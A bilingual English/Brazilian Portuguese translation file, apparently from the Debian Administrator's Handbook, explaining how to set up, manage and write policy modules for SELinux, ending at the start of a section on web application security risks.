en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
pt-BR: Por padrão, um programa herda seu domínio do usuário que o iniciou, mas políticas SELinux padrões esperam que muitos programas importantes sejam executados em domínios dedicados. Para conseguir isso, estes executáveis são marcados com um tipo específico (por exemplo <command>ssh</command>) é marcado com <literal>ssh_exec_t</literal>, e quando o programa é iniciado, ele muda automaticamente no domínio <literal>ssh_t</literal>). Este mecanismo de transição automática de domínio torna possível conceder apenas os direitos necessários para cada programa. É um princípio fundamental do SELinux.

en: Automatic transitions between domains
pt-BR: Transições automáticas entre domínios

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
pt-BR: <emphasis>NA PRÁTICA</emphasis> Encontrar o contexto de segurança

en: <primary>context, security context</primary>
pt-BR: <primary>contexto, contexto de segurança</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
pt-BR: Para encontrar o contexto de segurança atual em um shell, você deve chamar <command>id-Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
pt-BR: Para encontrar o contexto de segurança de um determinado processo, você deve usar a opção <literal>Z</literal> do <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
pt-BR: O primeiro campo contém a identidade, o papel, o domínio e o nível MCS, separados por vírgulas. O nível de MCS (<emphasis>Multi-Category Security</emphasis>) é um parâmetro que intervém na configuração de uma política de proteção da confidencialidade, que regula o acesso a arquivos com base em sua sensibilidade. Esta funcionalidade não será explicada neste livro.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
pt-BR: Finalmente, para encontrar o tipo atribuído a um arquivo, você pode usar o <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
pt-BR: É interessante notar que a identidade e o papel atribuído a um arquivo não têm qualquer importância especial (eles nunca são usados), mas por uma questão de uniformidade, todos os objetos são atribuídos num contexto de segurança completo.

en: Setting Up SELinux
pt-BR: Configurando o SELinux

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
pt-BR: O suporte SELinux é construído nos kernels padrões fornecidos pelo Debian. As principais ferramentas de suporte Unix SELinux sem quaisquer modificações. É, assim, relativamente fácil, habilitar SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
pt-BR: O pacote <emphasis role="pkg">selinux-policy-default</emphasis> contém um conjunto de regras padrão. Por padrão, essa política só restringe o acesso a alguns serviços amplamente expostos. As sessões de usuários não estão restritas e, portanto, é improvável que o SELinux iria bloquear as operações legítimas do usuário. No entanto, isso faz aumentar a segurança dos serviços do sistema rodando na máquina. Para configurar uma política corresponde à antigo regra "strict", você só tem que desativar o módulo <literal>unconfined</literal> (gerenciamento de módulos está detalhada ainda nesta seção).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
pt-BR: Uma vez que a política tenha sido instalada, você deve marcar todos os arquivos disponíveis (o que significa atribuir-lhes um tipo). Esta operação deve ser iniciada manualmente com <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
pt-BR: O sistema SELinux agora está pronto. Para habilitá-lo, você deve adicionar o parâmetro <literal>selinux=1 security=selinux</literal> para o kernel Linux. O parâmetro <literal>audit=1</literal> habilita o log SELinux que registra todas as operações negadas. Finalmente, o parâmetro <literal>enforcing=1</literal> traz as regras para aplicação: sem ele SELinux funciona no modo padrão <emphasis>permissive</emphasis> onde as ações negadas são registradas, mas ainda executadas. Você deve, portanto, modificar o arquivo de configuração do GRUB para anexar os parâmetros desejados. Uma maneira fácil de fazer isso é modificar a variável <literal>GRUB_CMDLINE_LINUX</literal> em <filename>/etc/default/grub</filename> e executar <command>update-grub</command>. SELinux estará ativo após uma reinicialização.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
pt-BR: É interessante notar que o script <command>selinux-activate</command> automatiza as operações e força uma rotulagem na próxima inicialização (o que evita criação de novos arquivos não-rotulados enquanto o SELinux ainda não estiver ativo, e enquanto a rotulagem estiver acontecendo).

en: Managing an SELinux System
pt-BR: Gerenciando um Sistema SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
pt-BR: A política do SELinux é um conjunto modular de regras, e sua instalação detecta e permite automaticamente todos os módulos relevantes com base nos serviços já instalados. O sistema é assim imediatamente operacional. No entanto, quando um serviço é instalado após a política do SELinux, você deve ser capaz de habilitar manualmente o módulo correspondente. Esse é o propósito do comando <command>semodule</command>. Além disso, você deve ser capaz de definir as funções que cada usuário pode endossar, e isso pode ser feito com o comando <command>semanage</command>.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
pt-BR: Estes dois comandos podem assim ser usados para modificar a atual configuração do SELinux, que é armazenada em <filename>/etc/selinux/default/</filename>. Ao contrário de outros arquivos de configuração que você pode encontrar em <filename>/etc/</filename>, todos esses arquivos não devem ser alterados manualmente. Você deve usar os programas concebidos para este proposito.

en: <emphasis>GOING FURTHER</emphasis> More documentation
pt-BR: <emphasis>INDO ALÉM</emphasis> Mais documentação

en: Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type="block" url="https://selinuxproject.org" />
pt-BR: Uma vez que a NSA não fornece qualquer documentação oficial, a comunidade criou um wiki para compensar. Reúne uma série de informações, mas você deve estar ciente que os maiores contribuintes SELinux são usuários do Fedora (onde o SELinux está habilitado por padrão). A documentação, portanto, tende a tratar especificamente desta distribuição. <ulink type="block" url="https://selinuxproject.org" />

en: Managing SELinux Modules
pt-BR: Gerenciando Módulos SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
pt-BR: Módulos SELinux disponíveis são armazenados no diretório <filename>/usr/share/selinux/default/</filename>. Para habilitar um desses módulos na configuração atual, você deve usar <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. A extensão <emphasis>pp.bz2</emphasis> significa <emphasis>pacote política</emphasis> (compactada com bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
pt-BR: A remoção de um módulo a partir da configuração atual é feita com <command>semodule -r <replaceable>module</replaceable></command>. Finalmente, o comando <command>semodule -l</command> listas os módulos que estão atualmente instalados. Também mostra seus números de versão. Módulos podem ser seletivamente habilitados com <command>semodule -e</command> e desabilitados com <command>semodule -d</command>.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
pt-BR: <command>semodule</command> imediatamente carrega a nova configuração, a menos que você use sua opção <literal>-n </literal>. É interessante notar que o programa atua por padrão na configuração atual (que é indicada pela variável <literal>SELINUXTYPE</literal> em <filename>/etc/selinux/config</filename>), mas que você pode modificar outra, especificando-a com a opção <literal>-s</literal>.

en: Managing Identities
pt-BR: Gerenciando Identidades

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
pt-BR: Toda vez que um usuário faz logon, eles se atribui uma identidade SELinux. Esta identidade define os papéis que eles serão capazes de endossar. Estes dois mapeamentos (do usuário para a identidade e de esta identidade para papéis) são configuráveis com o comando <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
pt-BR: <command>semanage login -l</command> lista o atual mapeamento entre identificadores de usuário e identidades SELinux. Os usuários que não têm entrada explícita obter a identidade indicado na entrada <literal>__default__</literal>. O comando <command>semanage login -a -s user_u <replaceable>user</replaceable></command> irá associar a identidade <emphasis>user_u</emphasis> ao determinado usuário. Finalmente,<command>semanage login -d <replaceable>user</replaceable></command> exclui a entrada de mapeamento atribuído a este usuário.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
pt-BR: <command>semanage user -l</command> lista o mapeamento entre as identidades de usuários do SELinux e papéis permitidos. Adicionar uma nova identidade requer definir os papéis correspondentes e um prefixo de marcação que é usado para designar um tipo de arquivo pessoal (<filename>/home/<replaceable>usuário</replaceable>/*</filename>). O prefixo deve ser escolhido entre <literal>user</literal>, o <literal>staff</literal>, e o <literal>sysadm</literal>. O prefixo "<literal>staff</literal>" resulta em arquivos do tipo "<literal>staff_home_dir_t</literal>". Criar uma nova identidade de usuário SELinux é feita com <command>semanage usuário -a -R <replaceable>papéis</replaceable> -P <replaceable>prefixo</replaceable> <replaceable>identidade</replaceable></command>. Finalmente, você pode remover uma identidade de usuário SELinux com <command>semanage usuário -d <replaceable>identidade</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
pt-BR: Gerenciamento de arquivos Contextos, Portas e booleanos

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
pt-BR: Cada módulo SELinux fornece um conjunto de regras de rotulagem de arquivos, mas também é possível adicionar regras de rotulagem personalizadas para atender a um caso específico. Por exemplo, se você deseja que o servidor web para seja capaz de ler arquivos dentro da hierarquia de arquivos <filename>/srv/www/</filename>, você pode executar semanage <command> fcontext-a-t httpd_sys_content_t "/srv/www(/.*)? "</command> seguido de <command> restorecon -R /srv/www/</command>. O comando anterior registra as novas regras de rotulagem e redefine o último dos tipos de arquivos de acordo com as atuais regras de rotulagem.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
pt-BR: Da mesma forma, portas TCP/UDP são rotuladas de uma forma que garante que apenas os daemons correspondentes podem ouvir nelas. Por exemplo, se você quiser que o servidor web seja capaz de escutar na porta 8080, você deve executar <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
pt-BR: Adaptando as Regras

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
pt-BR: Uma vez que a política do SELinux é modular, pode ser interessante para desenvolver novos módulos para (possivelmente personalizar) aplicações que não os possuem. Estes novos módulos, então, completarão a <emphasis>política de referência</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
pt-BR: Para criar novos módulos, é necessário o pacote <emphasis role="pkg">selinux-policy-dev</emphasis>, bem como <emphasis role="pkg">selinux-policy-doc</emphasis>. Este último contém a documentação das regras padrão (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) e arquivos de amostra que podem ser usados como modelos para criar novos módulos. Instale esses arquivos e estude-os mais de perto:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
pt-BR: O arquivo <filename>.te</filename> é o mais importante. Ele define as regras. O arquivo <filename>.fc</filename> define os arquivos de contextos", isto é, os tipos atribuídos a arquivos relacionados a este módulo. Os dados dentro do arquivo <filename>.fc</filename> são utilizados durante a etapa de rotulagem do arquivo. Finalmente, o arquivo <filename>if</filename> define a interface do módulo: é um conjunto de "funções públicas" que outros módulos podem usar para interagir adequadamente com o módulo que você está criando.

en: Writing a <filename>.fc</filename> file
pt-BR: Escrevendo um arquivo <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
pt-BR: Lendo o exemplo a seguir deve ser suficiente para compreender a estrutura de tal arquivo. Você pode usar expressões regulares para atribuir o mesmo contexto de segurança de vários arquivos, ou até mesmo uma árvore de diretórios.

en: <filename>example.fc</filename> file
pt-BR: arquivo <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
pt-BR: Escrevendo um arquivo <filename>.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
pt-BR: No exemplo abaixo, a primeira interface ("<literal>myapp_domtrans</literal>") controla quem pode executar o aplicativo. O segundo ("<literal>myapp_read_log</literal>") concede direitos de leitura nos arquivos de log do aplicativo.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
pt-BR: Cada interface deve gerar um conjunto válido de regras que podem ser incorporadas em um arquivo <filename>.te</filename>. Você deve, portanto, declarar todos os tipos que você utiliza (com a macro <literal>gen_require</literal>), e usar diretivas padrão de concessão de direitos. Note, no entanto, que você pode usar interfaces fornecidas por outros módulos. A próxima seção irá dar mais explicações sobre a forma de expressar esses direitos.

en: <filename>example.if</filename> File
pt-BR: Arquivo <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
pt-BR: <emphasis>DOCUMENTAÇÃO</emphasis> Explicações sobre a <emphasis>política de referência</emphasis>

en: The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />
pt-BR: A <emphasis>política de referência</emphasis> evolui como qualquer projeto de software livre: baseado em contribuições voluntárias. O projeto é hospedado pelo Tresys, uma das empresas mais ativas no domínio SELinux. Sua wiki contém explicações sobre como as regras são estruturadas e como você pode criar novas. <ulink type="block" url="https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted" />

en: Writing a <filename>.te</filename> File
pt-BR: Escrevendo um Arquivo <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
pt-BR: De uma olhada no arquivo <filename>example.te</filename>:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
pt-BR: <emphasis>INDO ALEM</emphasis> A linguagem de macro <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
pt-BR: Para estruturar adequadamente a política, os desenvolvedores do SELinux utilizaram um processador de comandos macro. Em vez de duplicar vários diretivas de permissões <emphasis>allow</emphasis> similares, eles criaram "funções macro", para usar uma lógica de alto nível, o que também resulta em uma política muito mais legível.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
pt-BR: Na prática, <command>m4</command> é usado para compilar essas regras. Ele faz a operação inversa: ele expande todas estas diretivas de alto nível em um enorme banco de dados de diretivas <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
pt-BR: As "interfaces" SELinux são apenas funções de macro que serão substituídas por uma série de regras no momento da compilação. Da mesma forma, alguns direitos são conjuntos de fatos de direitos que são substituídos por seus valores em tempo de compilação.

en: The module must be identified by its name and version number. This directive is required.
pt-BR: O módulo deve ser identificado pelo seu nome e número da versão. Esta diretiva é obrigatória.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
pt-BR: Se o módulo introduz novos tipos, deve declará-los com as diretivas como este. Não hesite em criar tantos tipos quantas forem necessários em vez de conceder muitos direitos inúteis.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
pt-BR: Estas interfaces definem o tipo <literal>myapp_t</literal> como uma área processo que deve ser utilizada por qualquer executável rotulado com <literal>myapp_exec_t</literal>. Implicitamente, isso adiciona um atributo <literal>exec_type</literal> sobre esses objetos, que por sua vez permite que outros módulos de concessão de direitos para executar esses programas: por exemplo, o módulo <literal>userdomain</literal>, permite que os processos com domínios <literal>user_t</literal>, <literal>staff_t</literal> e <literal>sysadm_t</literal> execute os. Os domínios de outras aplicações confinadas não terão direitos para executar los, a menos que as regras lhes concedem direitos semelhantes (este é o caso, por exemplo, do <command>dpkg</command> com o seu domínio <literal>dpkg_t</literal>).

en: <literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to <command>logrotate</command> so that it can manipulate them).
pt-BR: <literal>logging_log_file</literal> é uma interface fornecida pela política de referência. Ela indica que os arquivos marcados com o tipo de dado são arquivos de log que deveriam beneficiar das regrassociadas (por exemplo, concedem direitos ao <command>logrotate</command> para que possa manipulá los).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
pt-BR: O diretiva <literal>allow</literal> é a diretiva de base utilizada para autorizar uma operação. O primeiro parâmetro é o domínio processo que tem a permissão para executar a operação. A segunda define o objeto que um processo do domínio anterior pode manipular. Este parâmetro é a forma "<replaceable>tipo</replaceable>: <replaceable>classe</replaceable>" onde <replaceable>tipo</replaceable> é o seu tipo SELinux e <replaceable>classe</replaceable> descreve a natureza do objeto (arquivo, diretório, socket, fifo, etc.) Finalmente, o último parâmetro descreve as permissões (as operações permitidas).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
pt-BR: As permissões são definidas como o conjunto de operações permitidas e segue este modelo: <literal>{ <replaceable>operação1</replaceable><replaceable>operação2</replaceable>}</literal>. No entanto, você também pode usar macros que representam as permissões mais úteis. O <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> os lista.

en: The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />
pt-BR: A página web a seguir fornece uma lista relativamente exaustiva de classes de objetos e permissões que podem ser concedidas. <ulink type="block" url="https://selinuxproject.org/page/ObjectClassesPerms" />

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
pt-BR: Agora você só tem que encontrar o conjunto mínimo de regras necessárias para assegurar que o aplicativo de destino ou serviço funcione corretamente. Para conseguir isso, você deve ter um bom conhecimento de como o aplicativo funciona e de que tipo de dados ele gerencia e/ou gera.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
pt-BR: No entanto, uma abordagem empírica é possível. Uma vez que os objetos relevantes são rotuladas corretamente, você pode usar o aplicativo no modo permissivo: as operações que seriam proibidos são registrados, mas ainda tem sucesso. Ao analisar os logs, você pode agora identificar as operações de permissao. Aqui esta um exemplo de uma tal entrada de log:

en: To better understand this message, let us study it piece by piece.
pt-BR: Para melhor entender esta mensagem, vamos estudá la peça por peça.

en: Analysis of an SELinux trace
pt-BR: Análise de um rastreamento SELinux

en: Message
pt-BR: Mensagem

en: Description
pt-BR: Descrição

en: An operation has been denied.
pt-BR: Uma operação foi negada.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
pt-BR: Esta operação precisou das permissões de <literal>leitura</literal> e <literal>escrita</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
pt-BR: O processo com PID 1876 executou a operação (ou tentou executa la).

en: The process was an instance of the <literal>syslogd</literal> program.
pt-BR: O processo foi um exemplo do programa <literal>syslogd</literal>.

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
pt-BR: O objeto alvo foi nomeado <literal>xconsole</literal>. Às vezes, você pode também ter uma variável “path” — com o caminho completo — como opção.

en: The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
pt-BR: O dispositivo que hospeda o objeto de destino é um <literal>tmpfs</literal> (um sistema de arquivos em memória). Para um disco real, você poderia ver a partição que hospeda o objeto (por exemplo, "sda3").

en: The object is identified by the inode number 5510.
pt-BR: O objeto esta identificado pelo inode numero 5510.

en: This is the security context of the process who executed the operation.
pt-BR: Este é o contexto de segurança do processo que executou a operação.

en: This is the security context of the target object.
pt-BR: Este é o contexto de segurança do objeto destino.

en: The target object is a FIFO file.
pt-BR: O objeto destino é um arquivo FIFO.

en: By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role="pkg">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial.
pt-BR: Ao observar essa entrada de log, é possível construir uma regra que permite esta operação. Por exemplo, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Este processo pode ser automatizado, e é exatamente o que o comando <command>audit2allow</command> oferece (do pacote <emphasis role="pkg">policycoreutils</emphasis>). Esta abordagem só é útil se os vários objetos já estão corretamente rotulados de acordo com o que deve ser confinado. Em qualquer caso, você terá que analisar cuidadosamente as regras geradas e as validar de acordo com o seu conhecimento da aplicação. Efetivamente, essa abordagem tende a conceder mais direitos do que são realmente necessários. A solução adequada é muitas vezes criar novos tipos de concessão de direitos apenas sobre esses tipos. Acontece também de uma operação negada não ser fatal para a aplicação, neste caso pode ser melhor adicionar uma regra "<literal>dontaudit</literal>" para evitar a entrada de log, apesar da efetiva negação.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
pt-BR: <emphasis>COMPLEMENTOS</emphasis> Não há papéis nas regras de politicas

en: <primary>Type Enforcement</primary>
pt-BR: <primary>Tipo de Aplicação</primary>

en: <primary>Enforcement, Type Enforcement</primary>
pt-BR: <primary>Aplicação, Tipo de Aplicação</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
pt-BR: Pode parecer estranho que os papéis não aparecem em tudo ao criar novas regras. SELinux utiliza apenas os domínios para descobrir quais operações são permitidas. A intervenção do papel apenas de forma indireta, permitindo ao usuário alternar para outro domínio. SELinux é baseado em uma teoria conhecida como <emphasis>Tipo de aplicação</emphasis> e o tipo é o único elemento que importa na concessão de direitos.

en: Compiling the Files
pt-BR: Compilando os Arquivos

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
pt-BR: Assim que os 3 arquivos (<filename>example.if</filename>, <filename>example.fc</filename> e <filename>example.te</filename>) corresponderem às suas expectativas para as novas regras, renomeie-os para <filename>myapp.<replaceable>extension</replaceable></filename> e execute <command>make NAME=devel</command> para gerar um módulo no arquivo <filename>myapp.pp</filename> (você pode carrega-lo imediatamente com <command>semodule -i myapp.pp</command>). Se vários módulos forem definidos, <command>make</command> criará todos os arquivos <filename>.pp</filename> correspondentes.

en: Other Security-Related Considerations
pt-BR: Outras Considerações Relacionadas a Segurança

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
pt-BR: Segurança não é apenas um problema técnico, mais do que qualquer coisa, é sobre as boas práticas e compreensão dos riscos. Esta seção examina alguns dos riscos mais comuns, bem como algumas das melhores práticas que deverão, dependendo do caso, aumentar a segurança ou diminuir o impacto de um ataque bem sucedido.

en: Inherent Risks of Web Applications
pt-BR: Riscos Inerentes a Aplicações Web

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
pt-BR: O caráter universal das aplicações web levou à sua proliferação. Diversas são frequentemente executadas em paralelo: um webmail, um wiki, algum sistema de groupware, fóruns, uma galeria de fotos, um blog, e assim por diante. Muitas dessas aplicações dependem da pilha "LAMP" (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). Infelizmente, muitas dessas aplicações também foram escritas sem considerar muito os problemas de segurança. Dados provenientes do exterior são, muitas vezes, utilizados com pouca ou nenhuma validação. Proporcionando valores criados especialmente para serem usados para destruir uma chamada para um comando de modo que um outro seja executado em vez disso. Muitos dos problemas mais óbvios foram corrigidos com o parrar do tempo, mas novos problemas de segurança surgem regularmente.

en: <emphasis>VOCABULARY</emphasis> SQL injection
pt-BR: <emphasis>VOCABULARIO</emphasis> SQL injection

